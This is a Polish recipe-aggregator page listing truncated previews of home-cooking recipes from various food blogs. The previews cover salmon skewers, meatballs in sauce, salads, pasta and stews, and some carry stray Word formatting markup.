Sezon grillowy w pełni, co stwarza kolejne pole do popisu. Grillujemy mięsa, warzywa, owoce… i nie tylko. Oczywiście nie obędzie się bez dodatków. Wszelkie sosy, dipy, sałatki, surówki i napoje zawsze mile widziane. Szaszłyki z łososia.     Składniki: - filet z łososia ok. 900g - 500g małych pieczarek brunatnych - papryka czerwona, żółta, zielona - 1 cebula różowa (lub czerwona) - 1 cebula biała

mojewypiekiinietylko
Z wizytą u Kurta Schellera w Kurt Scheller Academy 235

Manti z kurczakiem i wołowiną. Ta propozycja mocno mnie zaskoczyła. Farsz składał się z mielonej wołowiny i mielonej piersi z kurczaka z dodatkiem mięty. Super smak. A do tego sos na bazie jogurtu greckiego z karmelizowanym masłem i płatkami chilii. Super smak ! Krem brulee z lawendą.  Krem smakował, jak budyń. Lawenda nadała mu oryginalnego aromatu. Ogólnie bardzo dobry deser

Mój Smak na Życie
Zielone szparagi z krewetkami 194

Kolejne danie z serii: "dania studenckie naprędce" :) Jeszcze szybsze niż  Makaron z sosem pomidorowym , idealne na lekką kolację po dniu spędzonym na uczelni :) Składniki: 200g zielonych szparagów 9 krewetek tygrysich pół pomidora 1 łyżeczka twardego sera np. parmezanu świeżo mielony pieprz,  sól ziołowa,  oliwa z oliwek "Przyprawa do ryb i owoców morza" Drogheria Alimentari Do dzieła: Umyte

Spektrum Smaku
Suska sechlońska i stara chata pod Korabem 190

smakołyków przeznaczonych do degustacji już wyjedzono. Skandal, swoją drogą! :) Główną nagrodę w konkursie kulinarnym zdobył pięknie uśmiechnięte panie z Koła Gospodyń Wiejskich z Laskowej za karkówkę nadziewaną śliwką w sosie miodowo-musztardowym. Jak smakowała - nie wiem, zaszczyt degustacji przypadł jedynie członkom komisji konkursowej, grrr :) Pochwalić natomiast mogę miękkie sery z ziołami, proponowane przez panie z WKG z Zawadki, które rozpływały

Spektrum Smaku
Jajecznica z suszonymi pomidorami i kiełkami brokuła 192

pomidorów i czerwonej papryki, przykryta kołderką z kiełków. W zasadzie to jajecznica z jednego jajka + jedno sadzone jajko na górze :) Lubię ten moment, kiedy żółtko rozpływa się jak złoty sos :) Składniki: 2 jajka średniej wielkości ćwierć czerwonej papryki 5-6 suszonych pomidorów kiełki brokuła (lub inne, np. rzodkiewki) ogórek szklarniowy sól i pieprz 1 łyżka oleju, którym zalane były suszone

Spektrum Smaku
Tagliatelle z krewetkami i szpinakiem baby 213

smaku solą i pieprzem, a następnie zwiększamy ogień, aby nadmiar płynu odparował. 6. Na patelnię przekładamy ugotowany i odcedzony makaron, dokładnie mieszamy, dodajemy łyżkę zimnego masła, aby zagęścić sos. Tagliatelle z krewetkami podajemy w głębokich talerzach. Danie można skropić sokiem z cytryny, aby podkreślić smak owoców morza. Idealnym dopełnieniem posiłku będzie kieliszek białego wina

W kuchni Katie
Bulion. Lane kluski. Rosół wołowy z grzybowymi kluseczkami 222

się robi więc jeśli lubicie to nic nie stoi na przeszkodzie nastawić go już dzisiaj albo dowolnego, innego dnia. Nadmiar można zamrozić - będziecie mieli bazę do zup czy sosów bez konieczności używania gotowych kostek bulionowych. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Gozleme z pieczarkami i żółtym serem 235

smarujemy lekko olejem, następnie nakładamy na nią nasze nafaszerowane placki i na wolnym ogniu smażymy dopóki nie pojawią się pęcherzyki, a następnie lekko zbrązowieją.  Podajemy np. z sosem. U mnie Remulda duńska od Folwark idealnie tutaj pasowała. Możecie o niej poczytać TUTAJ Skomentuj

MamaOskarka
Kalafior w arabskim stylu 231

przyrumieni. W osobnym naczyniu mieszamy pastę sezamową z sokiem z cytryny i 2 łyżkami oliwy. Dodajemy 4 łyżki wody w której gotował się kalafior. Wyjmujemy kalafior z piekarnika, polewamy sosem sezamowym i ponownie wkładamy do piekarnika na 5 minut. Po wyjęciu z piekarnika posypujemy posiekaną natką pietruszki i pestkami granatu

Smakowity Blog Kulinarny
Kluski. Oscypek. Zapiekanka. Galuszki zapiekane w sosie serowym z wędliną 203

towarzystwo w domu. Takie galuszki , haluszki, spaetzle, przecieraki czy jak je tam ktoś nazywa, można podać na różne sposoby. Mniejsze są dobrym dodatkiem do zup, większe można podać z sosem czy tylko z okrasą a nawet zapiekać tak jak ja to właśnie zrobiłam. Pożywne danie dla całej rodziny, ale pamiętajcie, że dietetyczne na pewno nie jest. Moje danie pachniało pięknie

Smaczna Pyza
Papryki faszerowane mięsem mielonym i ryżem 251

nadzienia wykorzystałam mięso mielone z indyka i ryż parboiled. To wszystko podsmażyłam wcześniej na patelni wraz z cebulą i czosnkiem. Użyłam także passaty pomidorowej i koncentratu do stworzenia ulubionego sosu. Tak przygotowanym farszem nadziałam czerwone papryki, posypałam obficie żółtym serem i zapiekałam w naczyniu żaroodpornym przez ok. pół godziny.  I chociaż nie są najbardziej fotogenicznym daniem, to swoim smakiem

Kuchnia Ellie
Królik duszony z wędzoną papryką 150

razie potrzeby dolać trochę wody. Pod koniec duszenia płynu powinno być niewiele, więc nie dolewajmy za dużo wody. Gotowe mięso przełoży na talerz i trzymać w cieple. Garnek z sosem zdjąć z ogniem, dodać czekoladę i wymieszać. Nie gotować z czekoladą. Podałam z groszkiem i karmelizowaną marchewką. zastawa

królestwo garów
Klopsiki w sosie warzywnym 187

szybki obiad gdy zrobi się odrobinę chłodniej polecam szybki gulasz z klopsikami w warzywnym sosie, przypominające śródziemnomorskie klimaty. Danie proste, smaczne, syte i szybko znikające z talerza. Cóż chcieć więcej. Czytaj więcej

Bernika - moj kulinarny pamietnik
Spaghetti w pomidorach z pieczonym kurczakiem i bobem 169

kostkę kurczaka i kawałki pomidorów, posypujemy oregano i słodką pparykę, mieszamy i dusimy na małym ogniu. Ugtowany makaron odcedzamy, zostawiając nieco wody i przekładamy, razem z wodą do sosu z kurczakiem, pomidorami i ziołami, mieszamy, doprawiamy do smaku. Podajemy posypane kawałkami bobu. Kilka pomysłów, jakie pamiątki warto przywieźć z wakacji w Alzacji

Moja smaczna kuchnia
Schab zapiekany w sosie śmietanowo - musztardowym 276

dzień upiekłam wraz z pozostałymi składnikami. I bardzo polecam tak przygotowany schab, bo nam bardzo smakował. Mięso nie było za suche a śmietana wraz z pozostałymi dodatkami utworzyłam aromatyczny sos. Mięso podałam z ziemniakami i surówką z kapusty. Pychota :) 4 porcje: Składniki: 4 plastry schabu 3 marchewki 1 pietruszka 3 cebule 200 g śmietany 18% 200 g śmietany 30% musztarda

My simple kitchen
Crumble z owocami z dodatkiem lodów Big Milk Yogurt 250

naturalnym. Lody te znajdziemy w dwóch różnych trendy smakach- Big Milk Yogurt Strawberry, czyli lody jogurtowe z dodatkiem musu truskawkowego oraz Big Milk Yogurt Carmel, czyli lody jogurtowe z sosem karmelowym. Jak już wspominałam są przygotowane na bazie jogurtu naturalnego, dzięki czemu są zdrowsze, lżejsze, mniej kaloryczne i mają aksamitną, puszystą teksturę. Zdecydowanie są mniej słodkie od tradycyjnych lodów

Z miłości do słodkości
NAJLEPSZE KNEDLE Z TRUSKAWKAMI 239

wypłynięcia.Jeżeli truskawki są słodkie można zrezygnować z cukru. W między czasie śmietanę z cukrem trzcinowym bardzo dokładnie wymieszać, można użyć miksera.  Knedle podawać na gorąco ze słodkim sosem. Pycha

pieprzny smaczek
Makaron z sosem alla puttanesca 161

natomiast tych najprostszych przepisów i jednym z nich jest Spaghetti alla puttanesca. Tłumaczenie nazwy to makaron w stylu śmieci i faktycznie wszystkie resztki są tam użyte, zapraszam. Makaron z sosem alla puttanesca. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kalafior zapiekany z pomidorami 324

Kalafior można przygotowywać na wiele sposobów. jest już przepis na  kalafior zapiekany w sosie serowym (przepis)  czy kotlety z kalafiora (przepis) . Dzisiaj kalafior zapiekany z pomidorami. Składniki: 1 kalafior 3 pomidory 150 g startego żółtego sera 1 duża cebula 1 łyżeczka tymianku sól czosnkowa sól 1 łyżeczka cukru 1 łyżeczka masła Wykonanie: Kalafiora podzielić na różyczki i ugotować

O kuchni z uczuciem
Sałatka fasolowa ze śledziem 167

Matiasy opłukać, pokroić w kostkę. Jogurt wymieszać z majonezem dodać przeciśnięty przez praskę czosnek, zioła, sól oraz pieprz. Wszystkie składniki włożyć do miski i polać przygotowanym sosem jogurtowo-ziołowym

magiczna kuchnia Kasi
Sałatka z tuńczykiem i ryżem 160

Składniki: woreczek ryżu puszka tuńczyka w sosie własnym puszka groszku zielonego 1 cebulka 2-3 łyżki majonezu sól, pieprz Wykonanie: Ryż ugotować w osolonej wodzie. Tuńczyk, groszek osączyć z zalewy. Cebulkę pokroić w drobną kostkę. Wszystko wrzucić do miski, przyprawić dodać majonez i wymieszać, smacznego

magiczna kuchnia Kasi
Sałatka z kaszą pęczak i fetą 166

piórka. Drobno siekamy szczypiorek.  Kaszę wsypujemy do miski, wrzucamy rukolę, pokrojone pomidory, ogórka, fetę, cebulę oraz szczypiorek. Wszystko razem mieszamy. Oliwę łączymy z solą oraz pieprzem. Tak przyrządzonym sosem polewamy sałatkę, smacznego

magiczna kuchnia Kasi
Naleśniki z kaszą gryczaną i pieczarkami 244

misce łączymy kaszę z cebulą i pieczarkami i doprawiamy solą oraz dużą ilością pieprzu. Na usmażone naleśniki nakładamy farsz i zwijamy jak krokiety. Przed podaniem podsmażamy, i podajemy z sosem

magiczna kuchnia Kasi
Śledzie z pieczarkami 232

patelni rozgrzać olej zeszklić cebulę pod koniec wrzucić pieczarki i chwilę podsmażyć. Na koniec dodajemy przecier pomidorowy, paprykę słodką oraz sól i pieprz do smaku. Odstawiamy do wystygnięcia. Wystudzony sos mieszamy ze śledziem. Wkładamy do lodówki na całą noc by przeszły smaki

magiczna kuchnia Kasi
Spaghetti z tuńczykiem w śmietanie 168

się zeszkli wrzucamy osączony tuńczyk. Chwile dusimy pod przykryciem. Na koniec wlewamy śmietanę, przyprawiamy do smaku, wrzucamy pietruszkę i dokładnie mieszamy. Porcję ugotowanego makaronu wykładamy na talerz i polewamy sosem. Smacznego

magiczna kuchnia Kasi
Kotlety z ryżu z warzywami 184

zieleniną, dodać 2 surowe jajka. Doprawić solą i pieprzem, dokładnie wymieszać. Z masy uformować kotleciki, obtaczać w bułce tartej. Smażyć na rozgrzanym oleju, na złoty kolor. Podawać z ulubionym sosem

magiczna kuchnia Kasi
Gołąbki z ryżem i mięsem 646

wszystko razem mieszamy. Farsz układamy na liściach kapusty i zwijamy w rulonik. Gołąbki ułożyć w rondlu, zalać wodą którą sparzyliśmy kapustę. Dusić do miękkości pod przykryciem.  Podawać z sosem pomidorowym

magiczna kuchnia Kasi
RUKOLOWY ZAWRÓT GŁOWY 191

Trzeba zrobić jeszcze dip ziołowy, bardzo prosto. Ja do jogurtu naturalnego dodałam różne zioła, które lobię i sól do smaku. Każdy może dodać dowolne przyprawy według upodobań. Następnie sosem polewam wszystkie składniki. Dokładnie mieszam i gotowe. :D SMACZNEGO

Zdrowo i kolorowo
Czekoladowe naleśniki migdałowe z mrożonym sosem truskawkowym :) 176

drugą stronę, nie rozwalają się, a do tego są zdrowym i smacznym pomysłem na słodkie śniadania i nie tylko :) Podwójna porcja kakao - także z roślinnej odżywki białkowej z sosem truskawkowym komponuje się genialnie a mąka migdałowa nadaje naleśnikom bajecznej delikatności :) Składniki: 2 jajka 1 miarka czekoladowego białka roślinnego Sunwarrior - Warrior Blend (Mieszanka Wojownika)   1 łyżeczka kakao 3 łyżki mąki

Zdrowie na języku :P
Kotlety z kurczaka i cukinii czyli ciąg dalszy zdrowych inspiracji :) 349

papierem do pieczenia wkładamy do piekarnika nagrzanego do około 180-200 stopni na około 30 minut (po 15 minutach przewróciłam kotlety na drugą stronę) gotowe kotlety polecam skonsumować z sosem czosnkowym :)  SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
MUSZLE FASZEROWANE TUNCZYKIEM I KUSKUSEM 247

Jeśli ma być zdrowo to na myśl przychodzą Mi najróżniejsze sałatki. Dziś proponuje taką z kuskusem. Szybko się ją przygotowuje a jest na prawdę smaczna.Bez zbędnych sosów czy dipów, żeby było lekko. Dla urozmaicenia tę prostą przekąskę podałam w 3 kolorowych muszlach : ze szpinakiem, z pomidorami i z kurkumą. Palce lizać! Składniki:   puszka tuńczyka w oleju roślinnym 1 czerwona

Z Majeczką w kuchni
Danie jednogarnkowe z karkówką i chorizo 243

puszkę fasoli i chorizo pokrojone w plasterki. Dusić do miękkości mięsa. Na koniec dodać majeranek, doprawić solą i pieprzem. Mąkę ziemniaczaną rozrobić w  odrobinie wody i wlać do sosu. Wymieszać i zagotować. danie jednogarnkowe z karkówką i chorizo

O kuchni z uczuciem
Placki z tuńczyka. 193

minut i pieczemy w 180 stopniach. Po 15 minutach przekładamy wszystkie placuszki na drugą stronę i z powrotem wkładamy do piekarnika. Możemy podać placuszki z jogurtem naturalnym lub sosem czosnkowym . Smacznego

Symfonia smakowa
Kotlety mielone - przepis podstawowy / Frikadellen - Fleischpflanzerl 686

boczku), mielę w domu, dzielę na pół, jedną połowę zamrażam, resztę wykorzystuję na kotlety. Zamrożone mięso można wykorzystać później nie tylko na kotlety, ale np. na sos bolognese lub do zapiekanki. Składniki na 12-15 sztuk: 500-600 g mieszanego mięsa mielonego (wołowo-wieprzowego) 2 czerstwe bułki kajzerki 2 jajka 300 ml mleka 2 cebule posiekane 2 ząbki czosnku posiekane

Kuchnia Prezydentowej
Gołąbki bez zawijania 237

podsmażyć mieszając. W garnku zagotować lekko osoloną wodę, dodać ryż i gotować do miękkości (około 14 minut). W dużej brytfannie połączyć ze sobą mięso mielone, ryż i kapustę. Sos pomidorowy:  Do szklanki lub małego garnuszka wlać 1/4 szklanki wody, dodać mąkę ziemniaczaną i dobrze wymieszać żeby nie było grudek. Do misy blendera wlać pomidory z puszki, śmietanę, dodać czosnek

Passions hobbies life
Pulpeciki z kaszy jaglanej 245

kaszą jaglaną i stwierdzam, że czas to zmienić. Dziś przedstawiam przepis na pulpety z kaszą, mięsem i papryką przygotowane na parze. W smaku bardzo ciekawe połączenie. Polecam podawać z sosem.   Pulpety z kaszy jaglanej   Składniki: 500 g mięsa mielonego wieprzowo- wołowego, 200 g kaszy jaglanej, 1/2 papryki zielonej, 1/2 papryki żółtej, łyżeczka natki pietruszki, sól, pieprz, jajko

paapilotkaa
Oliwki z pomarańczą i cytryną 171

posiekanej natki pietruszki Przygotowanie Nasiona kopru i kumin prażymy na suchej patelni. Do miski wrzucamy otarte skórki z cytryny i pomarańczy. Dodajemy szczyptę cynamonu ,uprażone nasiona i oliwki. Przygotowujemy sos. Ocet ,oliwę i sok mieszamy z posiekaną dymką ,miętą i natką pietruszki. Dodajemy do oliwek ,mieszamy ,zakrywamy folią spożywczą i odstawiamy do lodówki na 48 godzin

R'n'G Kitchen
Spaghetti z kurkami 195

pieprzem i zagęszczamy odrobiną mąki ziemniaczanej rozpuszczonej w wodzie. Makaron gotujemy al dente ,odcedzając zostawiamy niewielką ilość wody z gotowania. Do całości dodajemy grzyby ,dokładnie mieszamy. Makaron wraz z sosem rozkładamy na talerze ,posypujemy posiekaną natką pietruszki i startym parmezanem

R'n'G Kitchen
Kurczak w żurawinowej galarecie 211

masy żurawinowej dodałem żelatynę , wymieszałem. Częścią tężejącej galarety dość grubo wysmarowałem dno i boki formy , odstawiłem do zastygnięcia. Mięso piekłem godzinę w temperaturze 190 stopni , polewałem wytwarzającym się sosem , wyjąłem , ostudziłem. Zimne mięso włożyłem do formy z żurawinową galaretą. Na wierzch nałożyłem pozostałą galaretę , wstawiłem do lodówki , by całość całkowicie stężała

R'n'G Kitchen
Łopatka duszona w pieczarkach z nutką orientu 202

się podduszą ,zalewamy bulionem drobiowym ,dodajemy liść laurowy ,gotujemy dalej. Kotlety wyjmujemy z lodówki ,obtaczamy w mące i obsmażamy na przez krótką chwilę na rozgrzanym oleju. Przekładamy do sosu i dusimy na wolnym ogniu 20 min. dodając kumin i odrobinę curry ,do smaku doprawiamy solą i pieprzem. Pod koniec dodajemy posiekaną natkę. Całość podajemy z pęczakiem i buraczkami

R'n'G Kitchen
Sałatka makaronowa z sosem paprykowym 191

naczynia i razem z jogurtem naturalnym zblendowałem na jednolitą masę. Ogórki i szynkę pokroiłem w kostkę ,pomidorki na mniejsze kawałki ,szczypior posiekałem. Wszystkie składniki wymieszałem razem z makaronem i sosem. Do smaku doprawiłem solą i pieprzem

R'n'G Kitchen
Strogonow 166

słupki. Mięso oprószyłem mąką , włożyłem do garnka , przesmażyłem krótko na niewielkiej ilości tłuszczu , dodałem bulion , koncentrat pomidorowy , musztardę , wino , paprykę oraz przesmażoną cebulę z pieczarkami , uzupełniłem wodą . W powstałym sosie dusiłem mięso pod przykryciem na wolnym ogniu ,aż było miękkie. Doprawiłem solą i pieprzem. Przed podaniem można zaprawić śmietaną

R'n'G Kitchen
Roladki z jelenia z kapustą i grzybami 174

smażymy z każdej strony na rozgrzanym tłuszczu. Obsmażone roladki zalałem bulionem wołowym ,dodałem liście laurowe ,ziele angielskie ,pieprz ziarnisty i dusiłem na wolnym ogniu przez około dwie godziny. Sos można zaprawić śmietaną

R'n'G Kitchen
Makaron tagliatelle z ricottą i suszonymi pomidorami 194

starta skórkę z cytryny. Doprawiłem do smaku solą i pieprzem. Odstawiłem na kilka minut aby smaki przeszły. W osolonej wodzie ugotowałem makaron al dente . Odcedziłem , wrzuciłem do miski z sosem , delikatnie wymieszałem. Posypałem resztą bazylii i orzeszków i świeżo zmielonym kolorowym pieprzem

R'n'G Kitchen
Udka z rodzynkami po turecku 208

zakryła mięso , przykryłem i dusiłem 30 minut. Ryż ugotowałem na półtwardo , odcedziłem. Naczynie do zapiekanek wysmarowałem masłem , ułożyłem w nim warstwę ryżu. Na nim ułożyłem udka razem z sosem. Przed włożeniem do piekarnika przykryłem formę folią aluminiową. Piekłem ok. 30 minut w temperaturze 150 stopni

R'n'G Kitchen
Penne z cukinią i kurczakiem 181

ćwiartki (wcześniej sparzonymi i obranymi ze skórki). Zalewamy bulionem i dusimy około 15 min. Do smaku całość doprawiamy solą i pieprzem. Makaron gotujemy al dente ,osączamy i mieszamy z sosem i posiekaną natką pietruszki

R'n'G Kitchen
Babeczki ziemniaczane z mięsnym farszem 211

smaku solą ,pieprzem i ziołami prowansalskimi. Farsz wykładamy do każdej babeczki. Wierzch babeczek przykrywamy farszem ziemniaczanym. Babeczki zapiekamy w temperaturze 200°C przez 40-50 min. Całość podałem z sosem pieczarkowym i surówką z białej kapusty

R'n'G Kitchen
Sałatka z pstrągiem wędzonym 178

oliwek i ćwiartki pomidorków. Na wierzch rozłożyłem jajka i kawałki filetu z pstrąga. Ocet balsamiczny wymieszałem z oliwą , dodałem zioła prowansalskie , posoliłem. Odstawiłem na godzinę , po tym czasie polałem sosem przygotowana sałatkę , posypałem świeżo zmielonym pieprzem

R'n'G Kitchen
Krokiety inaczej 214

rozmąconym jajkiem i podzielić na 6 równych części. Na każdy kawałek ciasta nałożyć farsz ,zawinąć ,posmarować wierzch rozmąconym jajkiem. Piec przez 25 min w temperaturze 180 stopni. Podawać z sosem grzybowym

R'n'G Kitchen
Śledzie w sosie czosnkowym 191

majonezem ,dodajemy cebulki. Do smaku doprawiamy solą ,białym pieprzem i odrobiną cukru. Śledzie wyjmujemy z zalewy ,osączamy i kroimy na mniejsze kawałki (można też dać całe filety). Mieszamy z sosem czosnkowym ,wstawiamy do lodówki

R'n'G Kitchen
Tagliatelle z boczniakami 198

patelni rozgrzać oliwę, na niej przesmażyć grzyby na złoto. Dodać pomidory , czosnek i tymianek. Chwilę dusić. Zalać octem i rosołem. Gotować ok. 2 minuty. Makaron odcedzić. Wymieszać z sosem na patelni . Całość doprawić solą i białym pieprzem. Makaron podawać natychmiast po przygotowaniu

R'n'G Kitchen
Udka z kurczaka duszone w śmietanie 176

zagotowujemy ,zmniejszamy płomień i dusimy 10 min. Wyjmujemy udka ,dodajemy śmietanę wymieszaną z płaską łyżką mąki i posiekanym koperkiem ,dokładnie mieszamy (najlepiej zdjąć z ognia). Udka ponownie wkładamy do sosu i dusimy jeszcze 15 min na wolnym ogniu. Do smaku doprawiamy solą i pieprzem

R'n'G Kitchen
Pulpety w kapuście kiszonej i pomidorach 163

rozgrzanym oleju zeszkliłem pozostałą cebulę. Dodałem kapustę , liście laurowe i pomidory z puszki. Wlałem odrobinę wody. Całość zagotowałem i posoliłem. Mięso po wyrobieniu uformowałem w kulki , ugotowałem w sosie z kapusty . Pod koniec gotowania dodałem pokrojone świeże pomidory bez skórki i posiekaną papryczkę chili. Zagotowałem , doprawiłem solą , pieprzem oraz brązowym cukrem

R'n'G Kitchen
Wędlina drobiowa (z kurczaka) 190

Składniki 800 g filetów z kurczaka 150 g pieczarek pęczek natki pietruszki papryczka pepperoni pełna łyżka soli łyżeczka ziela angielskiego łyżeczka estragonu łyżeczka tymianku łyżeczka bazylii łyżeczka oregano łyżka sosu sojowego 2 jajka łyżka żelatyny łyżeczka czarnego pieprzu Przygotowanie Filety z kurczaka płuczemy i osuszamy ręcznikiem papierowym. Papryczkę płuczemy i wybieramy pestki. Filety ,papryczkę ,natkę ,ziele angielskie i pieprz mielimy

R'n'G Kitchen
Ryba w warzywach 177

kawałek obtoczyłem w jajku , a potem w mące , kładłem na dobrze rozgrzany tłuszcz i smażyłem z obu stron na jasnozłoty kolor. Gorące filety przełożyłem na ogrzany talerz i obłożyłem sosem z rondla. Posypałem posiekaną natką

R'n'G Kitchen
Suflet z pomidorami i koperkiem 170

posmarowania foremek starty parmezan do oprószenia foremek pęczek koperku sól ,pieprz Przygotowanie Masło rozpuszczamy w rondelku ,oprószamy mąką ,podgrzewamy cały czas mieszając. Wolno wlewamy mleko ,podgrzewamy do momentu zgęstnienia sosu. Zdejmujemy z ognia ,dodajemy przyprawy ,posiekany czosnek ,pokrojone w kostkę pomidory (sparzone i obrane ,bez nasion) ,posiekany koperek ,żółtka ,dokładnie mieszamy. Foremki smarujemy masłem i wsypujemy tarty parmezan. Piekarnik rozgrzewamy

R'n'G Kitchen
Sałatka drobiowa z owocami 215

paski i wymieszałem w misce z ananasem, kukurydzą, fasolą, cebulą oraz pomidorem. Listki sałaty opłukałem , osuszyłem. Rosół wymieszałem z sokiem z cytryny, musztardą i wyciśniętym przez praskę czosnkiem. Sosem polałem sałatkę, posypałem bazylią i całość delikatnie wymieszałem. Podałem w misce przybranej listkami sałaty

R'n'G Kitchen
Chili con carne 192

przyprawy. Dodajemy do mięsa ,zalewamy bulionem ,dodajemy fasolę ,pomidory wraz z zalewą i dusimy pod przykryciem na wolnym ogniu ok. 1,5 godziny.  Następnie zdejmujemy pokrywkę i redukujemy sos. Podajemy z chipsami tacos

R'n'G Kitchen
Zapiekanka z łososiem 218

Każdą warstwę ziemniaków lekko posoliłem ( można również użyć pieprzu ). Jajka wymieszałem z mlekiem ( im więcej mleka użyjemy tym bardziej zapiekanka będzie soczysta ), doprawiłem solą i pieprzem do smaku. Polałem sosem przygotowaną zapiekankę , wstawiłem formę do nagrzanego piekarnika.  Piekłem 35 minut na 2 poziomie od dołu w temperaturze 200 stopni C. Po tym czasie wyłączyłem piekarnik , pozostawiłem w nim zapiekankę

R'n'G Kitchen
Świderki z sosem pomidorowym i kiełbasą 173

kostkę boczniaki ,kiełbasę i paprykę. Oprószamy mąką ,dodajemy koncentrat pomidorowy i chwilę jeszcze podsmażamy. Zalewamy bulionem (ciągle mieszając) ,dodajemy oregano. Do smaku doprawiamy solą ,pieprzem oraz cukrem. Do sosu dodajemy makaron ,posiekaną natkę i chwilę razem podgrzewamy

R'n'G Kitchen
Kotlety z brokułu 215

danie fit (choć brak tutaj mąki i masła). Bardzo pyszne kotlety warzywne smażone na oliwie z suszonych pomidorów. Podałem z ziemniakami z wody i surówką z białej kapusty z sosem vinaigre. Składniki brokuł (250 g) cebula czerwona bułka tarta 2 jajka sól ,pieprz maggi oliwa z suszonych pomidorów Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable

R'n'G Kitchen
Przystawki na kolację 210

przystawkę dla gości. Składniki 2 małe cukinie ser kozi 200 g 1/2 łyżeczki papryki w proszku 1/2 łyżeczki startego imbiru pieprz sól 1 duże awokado mała puszka tuńczyka w sosie własnym mała szalotka sok z 1/2 limetki świeżo zmielony czarny pieprz łyżeczka posiekanej natki pietruszki Przygotowanie Pasta z awokado z tuńczykiem : Tuńczyka odsączyłem , rozdrobniłem. Szalotkę pokroiłem bardzo drobno , połączyłem

R'n'G Kitchen
Zupa orientalna z kapustą pekińską 202

mała kapusta pekińska 2 łyżki ryżu jaśminowego ocet ryżowy mielony imbir sól ,pieprz Przygotowanie Grzyby moczymy w gorącej wodzie i kroimy w paski. Mięso kroimy w kostkę ,mieszamy z sosem sojowym i podsmażamy na oleju. Marchew ,pietruszkę i seler obieramy i kroimy w słupki ,por w piórka. Dodajemy do mięsa i smażymy dalej. Imbir oraz czosnek siekamy i wrzucamy

R'n'G Kitchen
Pulpety nadziewane pieczarkami 190

Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Formujemy kulki. Przekładamy do naczynia żaroodpornego i zapiekamy 40 min w 180°C. Podajemy z ulubionym sosem

R'n'G Kitchen
Sałatka z gruszką i serem Roquefort 178

zglazurowałem miodem  Sałatę rozłożyłem na talerzu, dodałem gruszki, delikatnie wymieszałem. Rozłożyłem winogron, posypałem orzechami nerkowca i orzechami piniowymi. Pokruszony ser Roquefort dodałem na wierzch. Całość skropiłem miodowo – orzechowym sosem

R'n'G Kitchen
Mięsne kulki w sosie pieczarkowym 142

łopatki wieprzowej 3 ząbki czosnku jajko bułka tarta 500 g pieczarek por (biała część) 1 l bulionu drobiowego (do gotowania pulpecików) łyżka masła 500 ml bulionu warzywnego (do sosu) 3 łyżki jogurtu greckiego sól ,pieprz Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Mięso płuczemy i przepuszczamy przez maszynkę do mielenia mięsa (drobne oczka). /* Style Definitions */ table.MsoNormalTable {mso-style

R'n'G Kitchen
Potrawka z kurczaka w pomidorach 208

rosołu. Dodajemy szklankę przecieru pomidorowego ,czosnek przeciśnięty przez praskę ,przyprawę do potraw chińskich ,zagotowujemy. Doprawiamy do smaku solą i pieprzem. Mąkę rozpuszczamy w niewielkiej ilości zimnej wody ,łączymy z sosem ,cały czas mieszając. Szczypiorek siekamy i dodajemy do całości. Podajemy z ryżem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Wegetariańskie chili 242

pomidory oraz pomidory z puszki, chili i tymianek. Gotowałem wszystko na małym ogniu , pod przykryciem, 15 minut. Następnie garnek odkryłem, przyprawiłem solą i pieprzem, gotowałem na średnim ogniu, aż sos zgęstniał a warzywa stały się miękkie. Dodałem oliwki razem z fasolą , podgrzewałem na małym ogniu ok. 5 minut. Awokado obrałem, pokroiłem w kostkę, przed podaniem dodałem do potrawy

R'n'G Kitchen
Tunezyjskie pączki pomarańczowe 185

Ciasto: 4 jajka 4 łyżki soku pomarańczowego 4 łyżki oleju 50 g cukru skórka starta z pomarańczy 400 g mąki 15 g proszku do pieczenia olej do głębokiego smażenia Sos: 6 łyżek miodu 4 łyżki soku pomarańczowego Przygotowanie Jajka ucieramy z olejem ,sokiem pomarańczowym i cukrem. Dodajemy startą skórkę pomarańczową. Mąkę mieszamy z proszkiem do pieczenia ,stopniowo dodajemy do masy

R'n'G Kitchen
Jarzynowe carpaccio 135

umyłem i oczyściłem. Białe i jasnozielone części cebuli pokroiłem w cieniutkie krążki. Ocet z miodem, solą i pieprzem wymieszałem trzepaczką do piany, następnie ubiłem dolewając powoli oba rodzaje oleju. Sosem posmarowałem cztery talerze, ułożyłem na nich plasterki warzyw. Pokropiłem pozostałą marynatą. Posypałem krążkami cebuli i pestkami dyni. Do carpaccio podałem chleb ze smarowidłem jajecznym

R'n'G Kitchen
Kurczak z ananasem 220

Czasami nastają takie dni ,że zostaje nam mnóstwo jedzenia w lodówce. U nas dzisiaj jest ten moment ,kiedy przysłowiowo ją sprzątamy. Wyszedł kurczak w słodko -ostro-kwaśnym sosie. Dla nas pycha! ;)   Składniki 500 g filetu z kurczaka puszka krojonego ananasa 4 ząbki czosnku 2 szalotki 2 łyżki oliwy z oliwek 1 łyżka przyprawy chińskiej "5 smaków" 2 młode marchewki

R'n'G Kitchen
Makaron na zielono 153

dusimy na wolnym ogniu. Po 10 min dodajemy pokrojony w kostkę ser ,dusimy dalej do jego rozpuszczenia. Do smaku doprawiamy solą i pieprzem. Do garnka z makaronem dodajemy sos i chwilę podgrzewamy ,cały czas mieszając. Podajemy od razu po przygotowaniu

R'n'G Kitchen
Gicz cielęca 183

wino i rosół, ocet winny, włożyłem gicze, wstawiłem na 2,5 godziny do piekarnika nagrzanego do 200 stopni C. ( drugi poziom od dołu ). Co jakiś czas polewałem tworzącym się sosem. Pod koniec gotowania doprawiłem cukrem , solą i pieprzem. Dodałem natkę pietruszki, chwilę dusiłem

R'n'G Kitchen
Sajgonki z surimi i ryżem 188

pół. Papier ryżowy nawilżamy (osobno) ,na każdy kładziemy ryż z grzybami i ½ surimi. Zawijamy tak jak krokiety i smażymy na rozgrzanej oliwie. Osączamy z nadmiaru tłuszczu. Podajemy z ulubionym sosem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Marchewkowy mus w liściach pora 228

